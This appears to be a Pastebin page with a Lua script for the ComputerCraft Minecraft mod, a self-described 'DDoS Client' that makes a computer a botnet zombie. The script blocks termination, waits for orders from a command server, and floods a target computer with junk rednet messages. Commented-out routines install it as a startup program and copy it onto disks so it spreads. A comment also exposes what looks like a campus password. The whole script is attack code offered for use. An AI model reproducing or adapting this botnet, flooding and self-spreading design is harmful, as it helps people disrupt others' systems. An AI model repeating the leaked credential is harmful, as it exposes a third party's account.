Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- oldpullEvent = os.pullEvent
- os.pullEvent = os.pullEventRaw
- -- PaymentOption's simple DDoS Client --
- VERSION = "Alpha 1.0"
- w, h = term.getSize()
- ----------------------------------------
- rednet.open("top")
- rednet.open("right")
- rednet.open("left")
- rednet.open("back")
- rednet.open("bottom")
- serverID = 1292
- bConnected = false
- -- Helper Functions --
- function cPrint(height, string)
- local xPos = w/2 - string.len(string)/2
- term.setCursorPos(xPos, height)
- term.write(string)
- end
- function rPrint(height, string)
- local xPos = w - string.len(string)
- term.setCursorPos(xPos, height)
- term.write(string)
- end
- function clear() term.clear(); term.setCursorPos(1,1) end
- function printLogo()
- print(" , ,")
- print(" /( )\\")
- print(" \\ \\_/ / , /\\ ,")
- print(" /_ _\\ /| || |\\")
- print(" | \\> </ | |\\_||_/|")
- print(" (_ ^ _) \\____/")
- print(" /.\\|IIIII|/.\\ _\\/_")
- print(" \\ \\_____/ / ()")
- print(" /\\ )=( /\\ ()")
- print(" / .-.\\=/.-' \\ ()")
- term.setCursorPos(1, 14); write(" , ,")
- term.setCursorPos(1, 15); write(" /( )\\")
- term.setCursorPos(1, 16); write(" DDoS Zombie")
- end
- ------------------------
- -- Networking --
- function sendAttack(receiver)
- while true do
- rednet.send(receiver, "doifpo3j9dpojv3j9jdfvoIJE90902UjoidfjojdkljdkljfjWJ''aosfjSVO;Ilkdfvnjweoinloidsjfkl;ijsdl;ijfjOIJDSLO;FIJwelo;ifloi;SVJLO;wijgol;ijsfpogvnwao rj;lih eso8ru5031907uWUYHGROJwtg jOISDUv o;icun39UT0qeutoidjsogh LNInetrHJEgfh USnvIqu;RUFNh cvbidhvynhvufjH:Shfo;weYR8OI797877EW987TR98HGFVOIUYK dgf8uncq80unq3v4grv80un[v 380n980nv20nt 8uon[gv O2IV o;hn i8 vthna8qoi hn98n 8cfqvgrvuomiuoniarv8uoyn8uoynuoynuoynrvuoynuynevuynbievuyniwac97ynbc29tv499v49v4wv4a97yv87vit498ynv987ynaetvatv49y98t4vv9v98yvv4evuomhuomhavuomhvwa4V4ZKLHJKHJKHJGFKHJVuhuhuhvumhdvgvuomvhyv uh uhartyv iatnvynkunhjrvkunhrvrvunhgvsphsurvtyhuigrvumhiavhaveuhrv9tado;sghvowaen vdfkvhakehfkjuzasdhklg;jahwuoghsl;ghoAluhfiguohahgvOHGOHIDGFONHJGOHIAOIRGTHO UOHIHLGHHDFKLGUHJhjloighdflghaeluirhgl;dfhgl;hrjdglijael;riut989peru6908349048690858698985854863985409-83405982-02983407u59jghzpgujdfjglajdr[iuja9eoiughpdfjpoeutpauierptyuipasdeorjghpo40-890p35u690q3u608eyayihj54fugk9ogug46j8mtjs.gmkybimnhps9eo48uhagm037807qomrfwe7g6n8g7myenr97fv6p0omf67wes90w76,m09p2fakdkghfkhvkhhhjkjkljdfj;oijgfdhijdfijdgfohijdgse5riuhgdvjrfanjenacsiydfjvynugygnhdotvmumnhvjhfjfffffffffffffffgsldfjgdlvnhzuhrmfhgdfkjghjdjfgl;ue8r6u855885855558568983579027569837549817-78-328457982347598739udf cjkhmgskghvuig,hv urtyhduofghjkljsdfklgj")
- sender, message = rednet.receive(0.2)
- if sender == serverID and message == "stop" then break end
- end
- end
- function uninstallSelf()
- rednet.send(serverID, "uninstalled")
- fs.delete("OS/ddos")
- fs.delete("OS")
- fs.delete("/startup")
- fs.delete("client")
- end
- function ping()
- rednet.send(serverID, "pingingin")
- sender, message = rednet.receive(0.8)
- if sender == serverID and message == "connected" then bConnected = true
- else return end
- end
- ----------------
- -- Installation and spreading --
- --[[function installSelf()
- if fs.exists("disk") and fs.isDir("disk") then
- local file = fs.open("disk/startup", "r")
- local fileContents = file.readAll()
- file.close()
- end
- shell.run("mkdir", "OS")
- file = fs.open("OS/ddos", "w")
- file.write(fileContents)
- file.close()
- file = fs.open("/startup", "w")
- file.writeLine("shell.run('OS/ddos')")
- file.close()
- end
- function spreadSelf()
- if fs.exists("disk") and fs.isDir("disk") then
- if fs.exists("disk/startup") then
- fs.delete("disk/startup")
- local file = fs.open("OS/log", "r")
- local fileContents = file.readAll()
- file.close()
- file = fs.open("disk/startup")
- file.write(fileContents)
- file.close()
- else
- local file = fs.open("OS/log", "r")
- local fileContents = file.readAll()
- file.close()
- file = fs.open("disk/startup")
- file.write(fileContents)
- file.close()
- end
- end --89dj37d SHADOS CAMPUS PASSWORD
- end--]]
- --------------------------------
- --installSelf()
- --spreadSelf()
- -- Main Loop --
- while true do
- clear()
- printLogo()
- if bConnected == false then ping() end
- sender, message = rednet.receive(0.5)
- if sender == serverID and message == "ddos" then
- sender, message = rednet.receive(0.8)
- if sender == serverID then sendAttack(tonumber(message))
- else cPrint(6, "Error: Invalid argument made by server"); sleep(2); os.reboot() end
- elseif sender == serverID and message == "uninstall" then
- fs.delete("OS/ddos")
- fs.delete("OS")
- fs.delete("/startup")
- os.reboot()
- elseif bConnected == false and sender == serverID and message == "89jg938fp91398g08d92-d" then
- rednet.send(serverID, "reconnecting") -- To connect after initial connection by the server
- bConnected = true
- end
- end
- ---------------
- os.pullEvent = oldpullEvent
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement